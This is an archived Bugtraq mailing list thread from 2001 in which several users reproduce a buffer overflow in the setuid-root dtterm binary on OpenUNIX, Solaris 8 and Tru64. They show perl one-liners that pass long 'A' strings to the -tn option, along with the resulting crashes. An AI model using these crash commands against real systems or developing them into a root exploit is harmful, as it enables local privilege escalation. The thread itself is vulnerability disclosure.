Bugtraq mailing list archives
RE: OpenUNIX 8 & Unixware possible local root
From: Bob Dog <bobdog () drunk co nz>
Date: Wed, 3 Oct 2001 10:21:20 -0700 (PDT)
I could reproduce this on True64 5.1 on an AlphaStation but I had to go all the way to 8203. Using values below 4590 caused no problems. Starting at values of 4590 up to 8202 a dtterm window will open normally and everything seems normal but the 'clear' command will cause a coredump. However, the teminal window will still remain active. Other commands don't seem to cause problems. $ uname -a OSF1 red5 V5.1 732 alpha $ /usr/dt/bin/dtterm -tn `perl -e 'print "A"x8203'` Memory fault(coredump) Bob --- "Cushing, David" <David.Cushing () hitachisoftware com>
wrote: I was able to reproduce this on a Solaris 8 sparc machine with different tolerances: [288] uname -a SunOS hostname 5.8 Generic_108528-08 sun4u sparc SUNW,Ultra-60 [289] /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1083'` Segmentation Fault(coredump) [297] /usr/dt/bin/dtterm -tn `perl -e 'print "A"x2083'` Bus Error(coredump) ginger:dcushing[298]=20 -David-----Original Message----- From: Aycan Irican [mailto:aycan () mars prosoft com tr] Sent: Tuesday, October 02, 2001 1:55 AM To: bugtraq () securityfocus com Cc: evrim () envy com tr Subject: OpenUNIX 8 & Unixware possible local root =20 =20 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 =20 Another dt series bug... =20 $ uname -a=20 OpenUNIX zen 5 8.0.0 i386 x86at Caldera UNIX_SVR5=20 $ id=20 uid=3D101(fixxxer) gid=3D1(other)=20 $ ls -al /usr/dt/bin/dtterm=20 - -r-sr-xr-x 1 root bin 60892 Haz 10 05:03=20 /usr/dt/bin/dtterm=20 $ /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1040'`=20 Warning: Missing charsets in String to FontSet conversion=20 Warning: Missing charsets in String to FontSet conversion=20 Memory fault=20 .. snip ..=20
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Current thread:
- OpenUNIX 8 & Unixware possible local root Aycan Irican (Oct 02)
- Message not available
- Re: OpenUNIX 8 & Unixware possible local root Aycan Irican (Oct 03)
- Message not available
- <Possible follow-ups>
- RE: OpenUNIX 8 & Unixware possible local root Cushing, David (Oct 03)
- Re: OpenUNIX 8 & Unixware possible local root Rob Bartlett - CPRE EMEA (Oct 03)
- Re: OpenUNIX 8 & Unixware possible local root KF (Oct 03)
- RE: OpenUNIX 8 & Unixware possible local root Bob Dog (Oct 03)
- RE: OpenUNIX 8 & Unixware possible local root Bob Dog (Oct 03)
- Re: OpenUNIX 8 & Unixware possible local root ARAI Yuu (Oct 04)
- RE: OpenUNIX 8 & Unixware possible local root Lamont Granquist (Oct 04)
- Re: OpenUNIX 8 & Unixware possible local root Scott J (Oct 04)